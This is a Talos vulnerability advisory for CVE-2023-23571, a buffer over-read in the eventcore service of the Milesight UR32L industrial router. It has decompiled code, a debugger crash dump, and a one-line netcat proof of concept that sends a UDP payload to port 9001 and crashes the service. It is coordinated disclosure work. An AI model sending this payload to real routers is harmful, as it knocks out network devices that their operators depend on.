Talos Vulnerability Report

TALOS-2023-1696

Milesight UR32L eventcore access violation vulnerability

July 6, 2023
CVE Number

CVE-2023-23571

SUMMARY

An access violation vulnerability exists in the eventcore functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to denial of service. An attacker can send a network request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight UR32L v32.3.0.5

PRODUCT URLS

UR32L - https://www.milesight-iot.com/cellular/router/ur32l/

CVSSv3 SCORE

7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-126 - Buffer Over-read

DETAILS

The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.

The router can be set up to trigger an action after a particular event occurs. For instance, it is possible to send an e-mail or an SMS after a device reboots. Other actions and events exist. The binary that actually performs the action, after a particular event occurs, is eventcore.

The eventcore binary has a thread that waits for data that seems to be used to query the SQLite3 database used to archive the various event-related information. Following the recv_data_thread function that manages the reception of the data:

undefined4 recv_data_thread(int *socket)

{
 [... variable declaration ...]

  [... variable initialization ...]
  memset(chunk_buff + 4,0,0x1fc);
  [... variable initialization ...]
  
  if (socket == (int *)0x0) {
    syslog(3,"param is null\n");
  }
  else {
    socket_ = *socket;
    if (socket_ < 1) {
      syslog(3,"udp fd less than 0.\n");
    }
    else {
      message = (char *)malloc_and_memset(0x800);
      if (message != (char *)0x0) {
        memset(message,0,0x800);
        do {
          while( true ) {
            memset(chunk_buff,0,0x200);
            message_strlen = strlen(message);
            recv_length = recv_wrap(socket_,chunk_buff,0x1ff,&src_addr);                                [1]
            if ((chunk_buff[0] == '\0') || (recv_length != 0x1ff)) break;
            memcpy(message + message_strlen,chunk_buff,0x800 - message_strlen);                         [2]
          }
          [...]
        }
      }
      [...]
}

The function executes a loop where it received at most 0x1ff bytes into the chunk_buff buffer, then the content of the chunk_buff is appended into the message buffer.

The chunk_buff buffer is correctly sized with 512 bytes available, so the read at [1] is correct. At [2] the memcpy copies the size 0x800 - message_strlen from chunk_buff into message. So, the first memcpy will copy 0x800 bytes from a buffer of 0x1ff bytes. This leads to a buffer over-read. Furthermore, the thread starts with a fresh stack, which implies that the stack buffer chunk_buff is close to end of the stack and a buffer over-read will cause a SIGSEGV.

Debugging the process, it is easy to understand this problem:

memcpy@plt (                                                                                                                                                                                  
    $r0 = 0x00043730 → 0x00000000,                                                                                                                                                             
    $r1 = 0x76de4b0c → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]",                                                                                                              
    $r2 = 0x00000800,                                                                                                                                                                          
)  The `$r2` register contains the address of the `chunk_buff` buffer; in this case, it is  `0x76de4b0c`. Following the thread stack region and the region adjacent:

0x76bf0000 0x76de5000 0x00000000 rw-
0x76de5000 0x76de6000 0x00000000 --- 

The bytes between chunk_buff, at 0x76de4b0c, and the end of thread’s stack region, at 0x76de5000, is 0x4f4 bytes. So, reading 0x800 bytes from chunk_buff implies it will try to access outside the stack region.

Crash Information

Thread 5 "eventcore" received signal SIGSEGV, Segmentation fault.
0x76f3d540 in memcpy () from target:/lib/ld-musl-armhf.so.1
[ Legend: Modified register | Code | Heap | Stack | String ]
──── registers ────                                               
$r0  : 0x76ef2a20  →  0x00000000
$r1  : 0x76d67ffc  →  0x00000000
$r2  : 0x2f0
$r3  : 0x10
$r4  : 0x0
$r5  : 0x0
$r6  : 0x0
$r7  : 0x0
$r8  : 0x0
$r9  : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$sp  : 0x76d67ac8  →  0x76f417ac  →   ldr r3,  [r0,  #140]      ; 0x8c
$lr  : 0x00012e7c  →  0xea000034 ("4"?)
$pc  : 0x76f3d540  →  <memcpy+140> ldm r1!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
$cpsr: [negative zero CARRY overflow interrupt fast thumb]
──── stack ────                                               
0x76d67ac8│+0x0000: 0x76f417ac  →   ldr r3,  [r0,  #140]        ; 0x8c   ← $sp
0x76d67acc│+0x0004: 0x76d67d44  →  0x76d67d44  →  [loop detected]
0x76d67ad0│+0x0008: 0x00000078 ("x"?)
0x76d67ad4│+0x000c: 0x7eac7d34  →  0x00000000
0x76d67ad8│+0x0010: 0x76f68540  →  0x00000000
0x76d67adc│+0x0014: 0x76d67d44  →  0x76d67d44  →  [loop detected]
0x76d67ae0│+0x0018: 0x76d67d24  →  0x76f41830  →   bl 0x76f41628 <pthread_exit>
0x76d67ae4│+0x001c: 0x76ef2530  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
──── code:arm:ARM ────                                               
   0x76f3d534 <memcpy+128>     sub    r2,  r2,  r3
   0x76f3d538 <memcpy+132>     subs   r2,  r2,  #32
   0x76f3d53c <memcpy+136>     bcc    0x76f3d554 <memcpy+160>
 → 0x76f3d540 <memcpy+140>     ldm    r1!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
   0x76f3d544 <memcpy+144>     subs   r2,  r2,  #32
   0x76f3d548 <memcpy+148>     stmia  r0!,  {r4,  r5,  r6,  r7,  r8,  r9,  r10,  r11}
   0x76f3d54c <memcpy+152>     bcs    0x76f3d540 <memcpy+140>
   0x76f3d550 <memcpy+156>     add    r2,  r2,  #32
   0x76f3d554 <memcpy+160>     tst    r2,  #31
──── threads ────                                               
[#0] Id 1, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
[#1] Id 2, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
[#2] Id 3, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
[#3] Id 4, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
[#4] Id 5, Name: "eventcore", stopped 0x76f3d540 in memcpy (), reason: SIGSEGV
──── trace ────                                               
[#0] 0x76f3d540 → memcpy()
[#1] 0x12e7c → b 0x12f54

Exploit Proof of Concept

Executing the following bash command will result in the crash of the eventcore binary:

echo `python -c "print('A'*0x1ff)"` | nc -u <ROUTER_IP> 9001
VENDOR RESPONSE

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor_vulnerability_policy.html

TIMELINE

2023-02-14 - Initial Vendor Contact
2023-02-21 - Vendor Disclosure
2023-07-06 - Public Release

Credit

Discovered by Francesco Benvenuto of Cisco Talos.